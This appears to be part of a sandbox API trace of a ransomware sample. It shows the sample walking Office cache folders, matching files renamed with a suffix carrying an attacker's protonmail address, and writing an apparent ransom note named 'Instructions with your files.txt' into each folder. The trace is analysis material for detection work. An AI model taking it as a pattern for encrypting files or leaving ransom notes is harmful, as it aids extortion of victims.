[0112.051] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f240
[0112.051] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\.") returned 17
[0112.051] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0112.051] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0112.051] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\..") returned 18
[0112.051] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0112.051] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1
[0112.051] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users") returned 25
[0112.051] GetProcessHeap () returned 0x810000
[0112.051] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0112.051] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\*") returned 27
[0112.051] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0112.079] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\.") returned 27
[0112.079] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0112.079] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0112.090] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\..") returned 28
[0112.090] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0112.090] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7d654860, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7d654860, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1
[0112.091] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned 66
[0112.091] GetProcessHeap () returned 0x810000
[0112.091] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0112.091] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*") returned 68
[0112.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7d654860, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7d654860, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0112.100] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.") returned 68
[0112.100] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0112.100] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7d654860, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7d654860, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0112.100] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\..") returned 69
[0112.100] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0112.100] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7d596180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x102fdbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="EXCELL~1.COM")) returned 1
[0112.100] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0112.100] StrStrIW (lpFirst="ExcelLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.100] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7d62e700, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x263f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="EXCELM~1.COM")) returned 1
[0112.100] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0112.100] StrStrIW (lpFirst="ExcelMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.100] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7d62e700, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x71d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="EXCELM~2.COM")) returned 1
[0112.101] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0112.101] StrStrIW (lpFirst="ExcelMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.101] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7d654860, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7d654860, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7d654860, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0112.101] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0112.101] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0112.101] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7d654860, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 1
[0112.101] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0112.101] StrStrIW (lpFirst="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.101] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7d654860, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 0
[0112.101] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0112.101] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0112.104] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0112.105] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0112.105] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0112.105] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0112.105] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0112.105] CloseHandle (hObject=0x10c) returned 1
[0112.106] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0112.106] GetProcessHeap () returned 0x810000
[0112.106] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0112.106] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7dce04e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7dce04e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1
[0112.106] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C") returned 66
[0112.106] GetProcessHeap () returned 0x810000
[0112.106] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0112.106] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*") returned 68
[0112.106] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7dce04e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7dce04e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0112.113] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.") returned 68
[0112.113] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0112.113] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7dce04e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7dce04e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0112.113] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\..") returned 69
[0112.113] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0112.113] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7dce04e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7dce04e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7dce04e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0112.113] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0112.113] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0112.113] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7d7d1620, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x263500, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="POWERP~1.COM")) returned 1
[0112.113] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 126
[0112.113] StrStrIW (lpFirst="PowerPointMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.113] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7d7d1620, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x6aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="POWERP~2.COM")) returned 1
[0112.113] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 126
[0112.113] StrStrIW (lpFirst="PowerPointMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.113] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7dcba380, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x431a390, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PPTLRC~1.COM")) returned 1
[0112.113] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0112.113] StrStrIW (lpFirst="PptLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.113] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7dcba380, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x85e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 1
[0112.113] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0112.113] StrStrIW (lpFirst="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.113] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7dcba380, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x85e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 0
[0112.113] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0112.113] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0112.114] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0112.115] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0112.115] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0112.115] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0112.115] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0112.115] CloseHandle (hObject=0x10c) returned 1
[0112.115] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0112.115] GetProcessHeap () returned 0x810000
[0112.115] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0112.115] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7e2617c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7e2617c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1
[0112.115] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C") returned 66
[0112.115] GetProcessHeap () returned 0x810000
